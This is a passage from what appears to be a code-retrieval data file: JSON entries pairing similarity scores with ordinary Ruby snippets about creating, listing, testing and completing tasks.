PROGRESS_BAR_OPTIONS[:lg]\n )\n\n server_tasks.each do |entry|\n pb.increment\n task_xml = TaskXmlFile.new(entry)\n task = Task.create(\n name: task_xml.name,\n uri: task_xml.uri,\n description: task_xml.description,\n xml: task_xml.xml\n )\n\n TaskServer.create!(task_id: task.id, server_id: server.id)\n task_xml.actions.each { |action|\n TaskAction.create!(\n task_id: task.id,\n command: [action.command, action.arguments].join(' '),\n folder: File.dirname(action.command),\n executable: File.basename(action.command),\n parameters: action.arguments\n )\n }\n end\n\n pb.progress < pb.total ? pb.stop : pb.finish\nend", "title": "" }, { "docid": "df2d4cc2feefada53d32aa73932158f0", "score": "0.53060645", "text": "def tasks\n @tasks ||= TasksService.new(@http_client)\n end", "title": "" }, { "docid": "65df6d4dbaa69cd63d8ebc32813a93ce", "score": "0.5299754", "text": "def print_tasks(tasks=nil)\n puts '*' * 40\n if tasks.nil? and self.last_tag\n tasks = Tag.first(:title => self.last_tag, :limit => self.print_count).tasks\n elsif tasks.nil?\n self.print_count ||= Task.count\n tasks = Task.all(:limit => self.print_count, :order => [ :ordering.asc ])\n end\n tasks.all.each_with_index do |task, index|\n puts \"#{(index+1).to_s + '. '}#{task.to_s}\"\n end\n puts '*' * 40\n unless self.last_tag.nil?\n puts Colors.colored(\"#{Tag.first(:title => self.last_tag).tasks.count} #{self.last_tag} tasks remaining\", :green)\n end\n puts Colors.colored(\"#{Task.count} tasks remaining\", :green)\n end", "title": "" }, { "docid": "fe7e3a021784bcbf70158a79405e8535", "score": "0.5294861", "text": "def tasks\n @_tasks ||= []\n end", "title": "" }, { "docid": "bbe76c800aa59f5ca41ad9b45cafb4be", "score": "0.52875763", "text": "def initialize(title)\n \t@title = title\n \t@tasks = []\n end", "title": "" }, { "docid": "3f86de2871067deb0a0c93c304a51e0a", "score": "0.5278617", "text": "def setup #:nodoc:\n params = self.params\n\n # List of collection IDs directly supplied\n civet_collection_ids = params[:civet_collection_ids] || [] # used to be string\n civet_ids = civet_collection_ids.is_a?(Array) ? civet_collection_ids : civet_collection_ids.split(/,/)\n\n # Fetch list of collection IDs indirectly through task list\n task_list_ids = params[:civet_from_task_ids] || \"\"\n task_ids = task_list_ids.split(/,/)\n civet_collection_ids = [] if ! task_ids.empty? # with a task ID list, we ignore the original civet_collection_ids\n task_ids.each do |tid|\n task = CbrainTask.find(tid)\n tparams = task.params\n cid = tparams[:output_civetcollection_id] # old a single id\n cids = tparams[:output_civetcollection_ids] # new, an array\n cb_error \"Could not found any output CIVET collection IDs from task '#{task.bname_tid}'.\" if cid.blank? && cids.blank?\n civet_ids << cid unless cid.blank?\n civet_ids += cids unless cids.blank?\n end\n\n # Save back full list of all collection IDs into params\n civet_ids = civet_ids.map(&:to_s).uniq.sort\n params[:civet_collection_ids] = civet_ids\n\n # Get each source collection\n cols = []\n civet_ids.each do |id|\n col = Userfile.find(id.to_i)\n unless col && (col.is_a?(CivetOutput)) # || col.is_a?(CivetStudy))\n self.addlog(\"Error: cannot find CivetOutput with ID=#{id}\")\n return false\n end\n cols << col\n end\n\n if cols.empty?\n self.addlog(\"Error: no valid collections supplied?\")\n return false\n end\n\n # Synchronize them all\n self.addlog(\"Synchronizing collections to local cache\")\n cols.each_with_index do |col,idx|\n self.addlog(\"Synchronizing '#{col.name}'\") unless cols.size > 50\n col.sync_to_cache\n self.addlog(\"Synchronized #{idx+1}/#{cols.size} collections...\") if cols.size > 50 && (idx % 50 == 49 || idx == cols.size - 1)\n end\n self.addlog(\"Synchronization finished.\")\n\n # Choose a DP id if none was supplied; we pick the first collections' DP.\n self.results_data_provider_id ||= cols[0].data_provider_id\n\n # Check that all CIVET outputs have\n # 1) the same 'prefix'\n # 2) a distinct 'dsid'\n self.addlog(\"Checking collections: prefix and dsid...\")\n seen_prefix = {}\n seen_dsid = {}\n tcol_to_dsid = {}\n cols.each do |col|\n top = col.cache_full_path\n params_file = top + \"CBRAIN.params.yml\"\n ymltext = File.read(params_file) rescue \"\"\n if ymltext.blank?\n self.addlog(\"Could not find params file '#{params_file}' for CivetOutput '#{col.name}'.\")\n return false\n end\n civet_params = YAML.load(ymltext).with_indifferent_access\n file_args = civet_params[:file_args] || { \"0\" => {} }\n file0 = file_args[\"0\"] || {}\n prefix = file0[:prefix] || civet_params[:prefix] # change in struct: NEW || OLD\n dsid = file0[:dsid] || civet_params[:dsid] # change in struct: NEW || OLD\n if prefix.blank?\n self.addlog(\"Could not find PREFIX for CivetOutput '#{col.name}'.\")\n return false\n end\n if dsid.blank?\n self.addlog(\"Could not find DSID for CivetOutput '#{col.name}'.\")\n return false\n end\n seen_prefix[prefix] = true\n seen_dsid[dsid] ||= 0\n seen_dsid[dsid] += 1\n tcol_to_dsid[\"C#{col.id}\"] = dsid\n end\n\n if seen_prefix.size != 1\n self.addlog(\"Error, found more than one PREFIX in the CIVET outputs: #{seen_prefix.keys.sort.join(', ')}\")\n return false\n end\n\n prefix = seen_prefix.keys[0]\n\n if seen_dsid.values.select { |v| v > 1 }.size > 0\n reports = seen_dsid.map { |dsid,count| \"'#{dsid}' x #{count}\" }\n self.addlog(\"Error, found some DSIDs represented more than once: #{reports.sort.join(', ')}\")\n return false\n end\n\n self.addlog(\"Combining results; PREFIX=#{prefix}, DSIDs=#{seen_dsid.keys.sort.join(', ')}\")\n\n # Just record the PREFIX and the list of DSIDs in the task's params.\n params[:prefix] = prefix\n params[:dsids] = tcol_to_dsid\n\n end", "title": "" }, { "docid": "0fbc1bb05b2d453e3a3edfaf2840c5cf", "score": "0.52766186", "text": "def initialize(user, task)\n self.subject = task\n self.due_at = task.due_at_for user\n end", "title": "" }, { "docid": "f65d615a410b05a8cdb14f8010b57534", "score": "0.52758294", "text": "def initialize(task, args)\n self.task = task\n self.args = args\n end", "title": "" }, { "docid": "113a91e1423c5c1073806472d3b841ee", "score": "0.5268518", "text": "def tasks=(value)\n @tasks = value\n end", "title": "" }, { "docid": "113a91e1423c5c1073806472d3b841ee", "score": "0.5268317", "text": "def tasks=(value)\n @tasks = value\n end", "title": "" }, { "docid": "113a91e1423c5c1073806472d3b841ee", "score": "0.5268317", "text": "def tasks=(value)\n @tasks = value\n end", "title": "" }, { "docid": "5ea30f2c2705a71298b9571b75f07cfb", "score": "0.5265006", "text": "def initialize task\n @name = task['name']\n @interval = task['interval']\n @local_copy = task['local_copy']\n @paths = task['paths']\n @next_backup = Time.now\n @current_backup = 0\n end", "title": "" }, { "docid": "b7e5027a0831832e4fe88f1e930742fa", "score": "0.52610224", "text": "def with_tasks(tasks)\n limit, offset = 100, 0\n loop do\n tasks_cnt = 0\n tasks.limit(limit).offset(offset).each do |task|\n tasks_cnt += 1\n yield task\n end\n\n if tasks_cnt == limit\n offset += limit\n else\n break\n end\n end\n end", "title": "" }, { "docid": "77d67c53954c37a30a80e80b2e2c3a90", "score": "0.52476937", "text": "def initialize(build_task)\n @name = build_task\n # read the database to retrieve previous setting, Q: will the data record has the sense of history, otherwise it's better to create a SCM to track A:\n @pre_checks = []\n @post_checks = []\n @rules = []\n\n\n # IDEA: each checks/rules should have all the failure, ok process \n end", "title": "" }, { "docid": "423874473e1d9fb6c5530b39867c855a", "score": "0.5236299", "text": "def close_tasks(tasks)\n return if tasks.nil? || tasks.empty?\n\n tasks.each do |task|\n puts \"Setting #{task.formatted_i_d} as Completed\"\n task.update(:state => \"Completed\", :to_do => \"0.0\")\n end\n end", "title": "" }, { "docid": "8b90bb1ba3912cab5a004df100a89a3e", "score": "0.5225273", "text": "def process_tasks\n @tasks.each_value do |task|\n task.options[:ancestors] = []\n set_ancestor_tasks(task)\n set_alternative_tasks(task) if @permissions.key? task.name\n end\n end", "title": "" }, { "docid": "bf6929d924028f7621621baeae03d42c", "score": "0.5214513", "text": "def initialize\n @tasks = {}\n\n @compiled = false\n @stopped = false\n end", "title": "" }, { "docid": "5c8b85acfd62a9530b6b828d01735089", "score": "0.51996315", "text": "def initialize( task_class, max_workers )\n\t\t@task_class = task_class\n\t\t@max_workers = max_workers\n\t\t@workers = Set.new\n\t\t@last_child_started = Time.now\n\t\t@throttle = 0\n\t\t@queue = nil\n\tend", "title": "" }, { "docid": "0209f2fcd197a07e086933fa20abf283", "score": "0.5198997", "text": "def collect_commits\n\n @commits = Grit::Commit.find_all(repo, nil, {topo_order: true, max_count: self.class.max_count, skip: to_commit}).dup\n\n # Decorate with app/models/commit.rb\n @commits.map! { |commit| ::Commit.new(commit) }\n\n # Decorate with lib/gitlab/graph/commit.rb\n @commits.map! { |commit| Gitlab::Graph::Commit.new(commit) }\n\n # add refs to each commit\n @commits.each { |commit| commit.add_refs(ref_cache, repo) }\n\n @commits\n end", "title": "" }, { "docid": "3c4bb3d116cebfa5f041234fecd3da26", "score": "0.5198485", "text": "def tasks\n @tasks ||= Thor::CoreExt::OrderedHash.new\n end", "title": "" }, { "docid": "6f1ff7d197342b49e6871fbb03533b68", "score": "0.519841", "text": "def initialize(task_name, app)\n @name = task_name.to_s\n @prerequisites = FileList[]\n @actions = []\n @already_invoked = false\n @comment = nil\n @lock = Mutex.new\n @application = app\n @scope = app.current_scope\n end", "title": "" }, { "docid": "72fecdeda4e821222264b8042725ef7e", "score": "0.5194991", "text": "def build_task_with_prerequisites\n\n task = company.tasks.last\n task.prerequisites = company.tasks.first(3)\n task.save\n task.decorate\n end", "title": "" }, { "docid": "a5a0519e6714a3b5c8208e573cd64e45", "score": "0.518542", "text": "def add_tasks(tasks)\n Array(tasks.is_a?(TasksFile) ? tasks.tasks : tasks).each do |task|\n add_task task\n end\n end", "title": "" }, { "docid": "a5a0519e6714a3b5c8208e573cd64e45", "score": "0.518542", "text": "def add_tasks(tasks)\n Array(tasks.is_a?(TasksFile) ? tasks.tasks : tasks).each do |task|\n add_task task\n end\n end", "title": "" }, { "docid": "868770eff4adc2b20bfb74794ba74245", "score": "0.51828676", "text": "def create_tasks(tasks_data)\n @tasks = []\n return if tasks_data.nil?\n tasks_data.each do |task|\n @tasks.push(Quest_Task.new(task))\n end\n end", "title": "" }, { "docid": "e2ab33b8298df12b52328d03b289d427", "score": "0.5182524", "text": "def initialize\r\n super\r\n @feeds = []\r\n @alias_tasks = true\r\n end", "title": "" }, { "docid": "ac496d7be0ae42288a2317212b50e3c0", "score": "0.5157144", "text": "def addDependenciesUnique(otherTasks)\n otherTasks.each {|task| addDependencyUnique(task)}\n end", "title": "" }, { "docid": "07b4d74dbd8e58530adc7c29006ddf84", "score": "0.51490444", "text": "def todo_task_completes\n todo.tasks.each do |task|\n TodoTaskComplete.create(todo_complete_id: id, todo_task_id: task.id, submitter_id: submitter_id)\n end\n end", "title": "" }, { "docid": "9add9100d8f22f38d3465a4d07a5a83b", "score": "0.51381534", "text": "def test_commit_plan_tasks\n\tt1, (t2, t3) = prepare_plan(:missions => 1, :tasks => 2)\n\n\ttransaction_commit(plan, t1) do |trsc, p1|\n\t assert(trsc.include?(p1))\n\t assert(trsc.mission?(p1))\n\tend\n\n\ttransaction_commit(plan) do |trsc| \n\t assert(!trsc.include?(t3))\n\t trsc.add(t3)\n\t assert(trsc.include?(t3))\n\t assert(!trsc.mission?(t3))\n\t assert(!plan.include?(t3))\n\t assert(!plan.mission?(t3))\n\tend\n\tassert(plan.include?(t3))\n\tassert(!plan.mission?(t3))\n\n\ttransaction_commit(plan) do |trsc| \n\t assert(!trsc.include?(t2))\n\t trsc.add_mission(t2) \n\t assert(trsc.include?(t2))\n\t assert(trsc.mission?(t2))\n\t assert(!plan.include?(t2))\n\t assert(!plan.mission?(t2))\n\tend\n\tassert(plan.include?(t2))\n\tassert(plan.mission?(t2))\n\n\ttransaction_commit(plan, t2) do |trsc, p2|\n\t assert(trsc.mission?(p2))\n\t trsc.unmark_mission(p2)\n\t assert(trsc.include?(p2))\n\t assert(!trsc.mission?(p2))\n\t assert(plan.include?(t2))\n\t assert(plan.mission?(t2))\n\tend\n\tassert(plan.include?(t2))\n\tassert(!plan.mission?(t2))\n\n plan.add_mission(t3)\n\ttransaction_commit(plan, t3) do |trsc, p3|\n\t assert(trsc.include?(p3))\n\t trsc.remove_object(p3) \n\t assert(!trsc.include?(p3))\n\t assert(plan.include?(t3))\n\tend\n\tassert(plan.include?(t3))\n\tassert(plan.mission?(t3))\n\n\tplan.add_permanent(t3 = Roby::Task.new)\n\ttransaction_commit(plan, t3) do |trsc, p3|\n\t assert(trsc.permanent?(p3))\n assert_equal([p3], trsc.find_tasks.permanent.to_a)\n\t trsc.unmark_permanent(t3)\n assert_equal([], trsc.find_tasks.permanent.to_a)\n\t assert(!trsc.permanent?(p3))\n\t assert(plan.permanent?(t3))\n\tend\n assert_equal([], plan.find_tasks.permanent.to_a)\n\tassert(!plan.permanent?(t3))\n\n\ttransaction_commit(plan, t3) do |trsc, p3|\n assert_equal([], trsc.find_tasks.permanent.to_a)\n\t trsc.add_permanent(p3)\n\t assert(trsc.permanent?(p3))\n assert_equal([p3], trsc.find_tasks.permanent.to_a)\n\t assert(!plan.permanent?(t3))\n\tend\n assert_equal([t3], plan.find_tasks.permanent.to_a)\n\tassert(plan.permanent?(t3))\n end", "title": "" }, { "docid": "c9c5da1142a97d323204abc23f795e26", "score": "0.5137113", "text": "def tasks\n @tasks ||= []\n end", "title": "" }, { "docid": "53f99b2a8b99253c077ce63b292591c4", "score": "0.5134699", "text": "def initialize(task, options = { logging: false })\n @natural_indices = (0...task.a.size2).to_a # TODO: check if right size\n @new_linear_task = task\n @status = Statuses::Gomori.new\n @logging = options[:logging] || false\n end", "title": "" }, { "docid": "cca0811f46e043774e423aa064f682be", "score": "0.5125348", "text": "def initialize(pact, selectors, pending, pending_provider_tags = [], non_pending_provider_tags = [], overall_latest = false, wip = false)\n super(pact)\n @pending = pending\n @selectors = selectors\n @pending_provider_tags = pending_provider_tags\n @non_pending_provider_tags = non_pending_provider_tags\n @overall_latest = overall_latest\n @wip = wip\n end", "title": "" }, { "docid": "55f96b648a5570ef5e55f6556e2b6914", "score": "0.5117553", "text": "def initialize\n @work_time = []\n @busy_time = []\n @meetings = []\n @tasks = []\n end", "title": "" }, { "docid": "3f987103f9eb409ac402378ed4ae29d3", "score": "0.5115847", "text": "def initialize\n @pstore = PStore.new(TASKSTORE)\n @pstore.transaction do\n @savedtasks = @pstore.fetch(:savedtasks, {})\n end\n end", "title": "" }, { "docid": "54a2fa686ce47f68c4e87dca26bd42a9", "score": "0.51115143", "text": "def total_number_basic_tasks\n @sub_tasks.inject(0) do |sum, task|\n sum += task.total_number_basic_tasks\n end\n end", "title": "" }, { "docid": "7117ea03a70ddce901934255a44746b6", "score": "0.51076835", "text": "def initialize_task\n @task = Task.new\n end", "title": "" }, { "docid": "8c86b525a30315cf4fc15d539b83aa81", "score": "0.5107465", "text": "def initialize(description, completed_status = false) #initialise new task w/ descrpition and status\n @description = description\n @completed_status = completed_status\n end", "title": "" }, { "docid": "5ac6c8b279bdec85324ebdb47ca3166e", "score": "0.5101202", "text": "def tasks\n end", "title": "" }, { "docid": "27d3bf9344aa90208e2575bcdb5226ac", "score": "0.5099574", "text": "def tasks_incomp\n tasks.select do |task|\n if !task.done?\n tasks_incomp << task\n end\n end\n end", "title": "" }, { "docid": "95f7cfe87ed1b6cfe7da2ebfc3bd6b6a", "score": "0.5093573", "text": "def initialize( commits = [], ticket_histories = [])\n @commits = commits\n @ticket_histories = ticket_histories.inject( {} ){ | histories, h| histories[h.id.to_s] = h; histories }\n end", "title": "" }, { "docid": "4a40a73211c75d438d7fe1646158662a", "score": "0.5078315", "text": "def initialize(pact, selectors, pending = nil, pending_provider_tags = [], non_pending_provider_tags = [], provider_branch = nil, wip = false)\n super(pact)\n @pending = pending\n @selectors = selectors\n @pending_provider_tags = pending_provider_tags\n @non_pending_provider_tags = non_pending_provider_tags\n @provider_branch = provider_branch\n @wip = wip\n end", "title": "" }, { "docid": "8849c8d4405f3faa5351fb6f927cdb67", "score": "0.5070589", "text": "def prerequisite_tasks; end", "title": "" }, { "docid": "fe7cf56bc25cf9866505e898d0d9505b", "score": "0.50520605", "text": "def initialize #method: action upon creating list\n\t\t@all_task = []\n\tend", "title": "" }, { "docid": "f9eed66f73a54fb7787c749a4d74cb09", "score": "0.50516796", "text": "def exp_tasks_yaml(tasks_page_dim, task_start_nb)\n\n sql=<<-EOF\n select distinct hcif.GENE_ID,\n gn.name,\n gbr.BLOCKS_LENGTH as align_len\n from HGT_COM_INT_FRAGMS hcif\n join GENES gn on hcif.GENE_ID = gn.ID\n join GENE_BLO_RUNS gbr on gbr.GENE_ID = hcif.GENE_ID\n EOF\n\n puts \"sql: #{sql}\"\n #add limit 20\n tasks = Gene.find_by_sql(sql)\n\n #mrca_ids = mrcas.collect{|m| m.id}\n\n #puts tasks.inspect\n\n puts \"length: #{tasks.length}\"\n\n tasks_len = tasks.length\n #tasks_len = 1\n\n nb_pages = tasks_len / tasks_page_dim\n nb_pages_rem = tasks_len % tasks_page_dim\n puts \"nb_pages: #{nb_pages}, nb_pages_rem: #{nb_pages_rem}\"\n\n page_ranges = []\n\n #whole pages\n nb_pages.times { |pn|\n #puts \"page number: #{pn}\"\n range_min = pn * tasks_page_dim\n range_max = range_min + tasks_page_dim - 1\n\n #puts \"range_min: #{range_min}, range_max: #{range_max}\"\n page_ranges << [range_min,range_max]\n\n }\n #adds remainder\n if nb_pages_rem != 0\n range_min = nb_pages * tasks_page_dim\n range_max = range_min + nb_pages_rem - 1\n #puts \"range_min: #{range_min}, range_max: #{range_max}\"\n page_ranges << [range_min,range_max]\n end\n\n\n\n\n\n page_ranges.each_index { |i|\n\n rng_min = page_ranges[i][0]\n rng_max = page_ranges[i][1]\n\n job_tasks = tasks[rng_min..rng_max]\n\n\n #puts \"rng_min: #{rng_min}, rng_max: #{rng_max}\"\n #puts \"tasks: #{tasks.inspect}\"\n #puts \"job_tasks: #{job_tasks.inspect}\"\n\n job_s = \"%05d\" % (task_start_nb + i )\n File.open(\"#{timed_tr_compart_d(:jobs)}/job-tasks-#{job_s}.yaml\", \"w+\") do |f|\n f.puts job_tasks.to_yaml()\n end\n\n\n }\n\n\n end", "title": "" }, { "docid": "76c40ac0c982610da0fc3f8107e45344", "score": "0.50469667", "text": "def tasks; end", "title": "" }, { "docid": "76c40ac0c982610da0fc3f8107e45344", "score": "0.50469667", "text": "def tasks; end", "title": "" }, { "docid": "76c40ac0c982610da0fc3f8107e45344", "score": "0.50469667", "text": "def tasks; end", "title": "" }, { "docid": "76c40ac0c982610da0fc3f8107e45344", "score": "0.50469667", "text": "def tasks; end", "title": "" }, { "docid": "76c40ac0c982610da0fc3f8107e45344", "score": "0.50469667", "text": "def tasks; end", "title": "" }, { "docid": "9547f816127bfd5d1cd1e344d90aafef", "score": "0.5028268", "text": "def initialize (input = Queue.new, output = Queue.new)\n\t\t@tasks = []\n\n\t\t@input = input\n\t\t@output = output\n\n\t\tObjectSpace.define_finalizer self, self.class.finalizer(@tasks)\n\tend", "title": "" }, { "docid": "556e69064fe5ac54a60303afbc8ea206", "score": "0.5022467", "text": "def test_bulk_procesing_case\n jira_host_port = ENV['HOST_PORT'] || '28080'\n \n #We split the string into the static part here\n static = \"http://localhost:#{jira_host_port}\"\n\n #The query string is construted this way so that the 'task_id' is only evaluated when jira is 'applied' to the task. Therefore we have\n #to wrap that part in single plings.\n settings = { :name => 'jira', :query_string => static+'/rest/api/latest/issue/#{task_id}', :usr => 'admin', :pw => 'admin' }\n collection = Model::PACTaskCollection.new\n (2..30).each do |tid|\n task = Model::PACTask.new \"FAS-#{tid}\"\n task.applies_to = 'jira'\n collection.add(task) \n end\n\n #Assert that each task has some assigned attributes\n jira = Task::JiraTaskSystem.new(settings).apply(collection)\n collection.each do |task|\n assert_false(task.attributes.empty?)\n end \n end", "title": "" }, { "docid": "311a9b23a50c6a3c5fb8dfdfeadd1e65", "score": "0.50162256", "text": "def set_tasks\n\t\t\t@tasks = @intranet.tasks\n\t\tend", "title": "" }, { "docid": "bf51a1560b9e115ffdf8fc07ea6cfd92", "score": "0.5015357", "text": "def ordered_tasks_list_ids_with_tasks(tasks)\n # @tasks = task.project.tasks\n # @tasks = project.tasks\n task_hash = {}\n head = nil\n\n ordered_list_ids = []\n\n if tasks.length != 0\n\n tasks.each do |task|\n task_hash[task.id] = task \n head = task if task.prev_task_id == nil\n end\n \n ordered_list_ids = [head.id]\n\n until task_hash[ordered_list_ids.last].next_task_id == nil do\n ordered_list_ids.push(task_hash[ordered_list_ids.last].next_task_id)\n end\n\n end\n \n ordered_list_ids\n end", "title": "" }, { "docid": "0cad5091b432988f364be2887aaefd97", "score": "0.50135106", "text": "def update_task_completion_status_cache!(tasks = nil)\n self.task_completion_status_cache ||= {}\n tasks ||= offering.tasks.find(:all, :conditions => \"context = 'reviewers' AND completion_criteria != ''\")\n tasks = [tasks] unless tasks.is_a?(Array)\n for task in tasks\n tcs = task_completion_statuses.find_or_create_by_task_id(task.id)\n tcs.result = self.instance_eval(task.completion_criteria.to_s)\n tcs.complete = tcs.result == true\n tcs.save\n self.task_completion_status_cache[task.id] = tcs.attributes\n end\n task_completion_status_cache\n end", "title": "" }, { "docid": "95683a16e09f7f286f35b1126229b4c9", "score": "0.5006896", "text": "def initialize(collection, diff_head_sha = nil)\n @collection = collection\n @diff_head_sha = diff_head_sha\n end", "title": "" }, { "docid": "bc6b46fcd4817e0e95019d8eb2219ea6", "score": "0.49989668", "text": "def init_user_task user_task,task, user\n goal = {}\n \ttask.requirement.each do |key, value|\n\t\t\tif m = /(.*)_add$/.match(key)\n\t\t\t\t#achievement[m[1]] = user.send( m[1] + \"_count\" )\n\t\t\t\tgoal_of_add = user.send( m[1] + \"_count\" ) + value\n\t\t\t\tgoal[m[1]] = goal[ m[1] ] ? goal_of_add > goal[ m[1]] ? goal_of_add: goal[m[1]] : goal_of_add\n\t\t\telsif m = /(.*)_morethan$/.match(key)\n\t\t\t\t#achievement[m[1]] = user.send( m[1] + \"_count\" )\n\t\t\t\tgoal[m[1]] = goal[ m[1] ] ? value > goal[ m[1]] ? value : goal[m[1]] : value\n\t\t\telse\n\t\t\t\tlogger.error \"unexpected requirement item: #{key}\"\n\t\t\tend\n\t\tend\n\t\t\n\t\t#self.achievement = achievement\n\t\tself.goal = goal\n end", "title": "" }, { "docid": "c8d0ed9967bbc57c3bfa36b23519a5ab", "score": "0.49928868", "text": "def initialize(task_name, app)\n @name = task_name.to_s\n @prerequisites = []\n @actions = []\n @already_invoked = false\n @full_comment = nil\n @comment = nil\n @lock = Monitor.new\n @application = app\n @scope = app.current_scope\n @arg_names = nil\n @locations = []\n @override_needed_block = nil\n @conditions = {}\n @remote = nil\n @url = nil\n @remote_task_created = false\n @env_var_exclude_filter = DEFAULT_ENV_VAR_EXCLUDE_FILTER\n self.log_context = @name\n debug2 \"Created task: #{@name}\"\n self.remote = @application.options.remoteurl if @application.respond_to?(:options)\n self.remote ||= ENV['RAKE_REMOTE']\n end", "title": "" }, { "docid": "017e17fb49fe4041358fbceb1799c724", "score": "0.4989485", "text": "def initialize(items)\n @items = items\n @filename = 'tmp/dependencies'\n @graph = Nanoc3::DirectedGraph.new([ nil ] + @items)\n @previous_items = []\n end", "title": "" }, { "docid": "ae85c209874ce19e5e5b7ad65ffed313", "score": "0.49818486", "text": "def tasks=( array )\n unless array.nil? || array.count.zero?\n @tasks = Task.where( :id => array )\n else\n @tasks = Task.scoped\n end\n\n update_internal_task_lists()\n end", "title": "" }, { "docid": "273e54d2b3a30f6460c575dc22a309e9", "score": "0.498153", "text": "def DescribeTasks(paramBag)\n docuTask = paramBag[:docuTask]\n if(docuTask)\n Rake::Task[docuTask].comment = \"Build the documentation for the project\"\n end\n \n packetInstallTask = paramBag[:packetInstallTask]\n if(packetInstallTask)\n Rake::Task[packetInstallTask].comment = \"Install the ubuntu packets needed for this project\"\n end\n \n createVSSolutionTask = paramBag[:createVSSolutionTask]\n if(createVSSolutionTask)\n Rake::Task[createVSSolutionTask].comment = \"Build the Visual Studio solution for this project\"\n end\n \n cleanVSSolutionTask = paramBag[:cleanVSSolutionTask]\n if(cleanVSSolutionTask)\n Rake::Task[cleanVSSolutionTask].comment = \"Delete the Visual Studio solution for this project\"\n end\n \n gccBuildTask = paramBag[:gccBuildTask]\n if(gccBuildTask)\n Rake::Task[gccBuildTask].comment = \"Build the project with the gcc\"\n end \n end", "title": "" }, { "docid": "717445d833fc1e384c00a27c72e8f8c9", "score": "0.49771234", "text": "def update_task_completion_status_cache!(tasks = nil)\n self.task_completion_status_cache ||= {}\n for offering in applications_for_review.collect(&:offering).uniq\n tasks ||= offering.tasks.find(:all, \n :conditions => \"(context = 'reviewers' OR context = 'interviewers') \n AND context_object_completion_criteria != ''\")\n tasks = [tasks] unless tasks.is_a?(Array)\n for task in tasks\n tcs = task_completion_statuses.find_or_create_by_task_id(task.id)\n tcs.result = self.instance_eval(\"@offering ||= Offering.find(#{task.offering.id}); #{task.context_object_completion_criteria.to_s}\")\n tcs.complete = tcs.result == true\n tcs.save\n self.task_completion_status_cache[task.id] = tcs.attributes\n end\n end\n task_completion_status_cache\n end", "title": "" }, { "docid": "90848a9a8ef3b251502c983303f13843", "score": "0.49745896", "text": "def invoke_prerequisites(task_args, invocation_chain); end", "title": "" }, { "docid": "b1dc5ee79314ab9cc538635620b5157f", "score": "0.49723074", "text": "def tasks\n @tasks ||= Harvest::API::Tasks.new(credentials)\n end", "title": "" }, { "docid": "ae6ca1606393f909d382a9156b47492f", "score": "0.49639285", "text": "def update_task_completion_status_cache!(tasks = nil)\n self.task_completion_status_cache ||= {}\n tasks ||= offering.tasks.find(:all, :conditions => \"context = 'group_members' AND completion_criteria != ''\")\n tasks = [tasks] unless tasks.is_a?(Array)\n for task in tasks\n tcs = task_completion_statuses.find_or_create_by_task_id(task.id)\n tcs.result = self.instance_eval(task.completion_criteria.to_s)\n tcs.complete = tcs.result == true\n tcs.save\n self.task_completion_status_cache[task.id] = tcs.attributes\n end\n task_completion_status_cache\n end", "title": "" }, { "docid": "44ea9a18a0bcfba5e615182019da9eb8", "score": "0.49609047", "text": "def total_tasks=(value)\n @total_tasks = value\n end", "title": "" }, { "docid": "ec1fc5c3cc1cc1f609f785879bdcbaff", "score": "0.49589062", "text": "def inspect_tasks(tasks, date=Time.now.strftime(\"%Y-%m-%d\"))\n already_planned_tasks = self.get_tasks(date)\n tasks = tasks.delete_if { |t| already_planned_tasks.include?(t) }\n count = 0\n re_display = false\n planned = []\n index = 0\n while index < tasks.length\n task = tasks[index]\n unless re_display\n task.print_pretty\n else\n task.print_pretty(true)\n re_display = false\n end\n choice = @console.prompt INSPECT_STRING\n case choice\n when 'e'\n task_file = \"#{task.dir}/#{task.id}.task\"\n system \"vi #{task_file}\" if File.exists? task_file\n tasks[index] = @service.read(task.dir, task.id)\n redo\n when 'd'\n puts \"Enter a note or hit <RETURN>\"\n note = gets.chomp\n task.done(note)\n @service.save(task.dir, task)\n tasks.delete(task)\n STDOUT.puts sprintf(\"--> Marked task %d as done\", \n task.id).color(:green)\n when 'l'\n print \"Confirm delete task (Y/n)? \"\n answer = gets.chomp\n del = @service.delete(task.dir, {id: task.id.to_s}) if answer == \"Y\"\n if del.nil? or del == 0\n puts sprintf(\"--> Task not deleted\").color(:green)\n else del > 0\n tasks.delete(task)\n puts sprintf(\"--> Deleted %d task%s\", \n del, del == 1 ? \"\" : \"s\").color(:green)\n end\n when 'p'\n duration = 0\n until duration > 0\n print \"Duration (1 = 15 minutes, RETURN defaults to 30 minutes): \"\n answer = gets.chomp\n duration = answer.empty? ? 2 : answer.to_i\n end\n task.set_duration(units_to_time(duration))\n task.options[:follow_up] = date\n @service.save(task.dir, task)\n planned << task\n tasks.delete(task)\n count += 1\n when 't'\n begin\n print \"Date (yyyy-mm-dd or 'time distance', e.g. tom, i2d, nfr): \"\n specific_date = gets.chomp\n end until valid_date?(specific_date)\n\n duration = 0\n until duration > 0\n print \"Duration (1 = 15 minutes, RETURN defaults to 30 minutes): \"\n answer = gets.chomp\n duration = answer.empty? ? 2 : answer.to_i\n end\n\n task.set_duration(units_to_time(duration))\n task.options[:follow_up] = extract_time(specific_date)\n @service.save(task.dir, task)\n if task.options[:follow_up] == date\n planned << task\n tasks.delete(task)\n count += 1\n else\n index += 1\n end\n when 'c'\n re_display = true\n redo\n when 'b'\n index -= 1 if index > 0\n when 's'\n index += 1\n when 'q'\n break\n end\n end\n save_tasks(planned)\n count\n end", "title": "" }, { "docid": "93d419a140373862bca1b3941f090105", "score": "0.49416485", "text": "def tasks_pending_count\n inject(0) do |sum, node|\n sum + node.graph.tasks_pending_count\n end\n end", "title": "" }, { "docid": "fdade136f607ed69531d0620f66a2987", "score": "0.4931902", "text": "def tasks_finished_count\n inject(0) do |sum, node|\n sum + node.graph.tasks_finished_count\n end\n end", "title": "" }, { "docid": "5072d515dee997c7577e8dc07a5120f5", "score": "0.49309593", "text": "def initialize( count_of_tasks )\n unless count_of_tasks.kind_of? Array then\n raise ArgumentError.new( 'count_of_tasks must be an Array' )\n end\n count_of_tasks.each_with_index do | tc, i |\n unless tc.kind_of? Integer then\n raise ArgumentError.new( \"count_of_tasks[ #{ i } ] = #{ tc } must be an Integer\" )\n end\n unless tc >= 0 then\n raise ArgumentError.new( \"count_of_tasks[ #{ i } ] = #{ tc } must be >= 0\" )\n end\n end\n @wfp_count_of_tasks = count_of_tasks\n @wfp_param_set = nil\n @wfp_permitted_params = Array.new( @wfp_count_of_tasks.length ){ |i| Array.new( @wfp_count_of_tasks[ i ])}\n end", "title": "" }, { "docid": "c801f037c8741eba8adae2a55b11c375", "score": "0.49190512", "text": "def initialize(objects)\n super('tmp/dependencies', 4)\n\n @objects = objects\n\n @graph = Nanoc3::DirectedGraph.new([ nil ] + @objects)\n 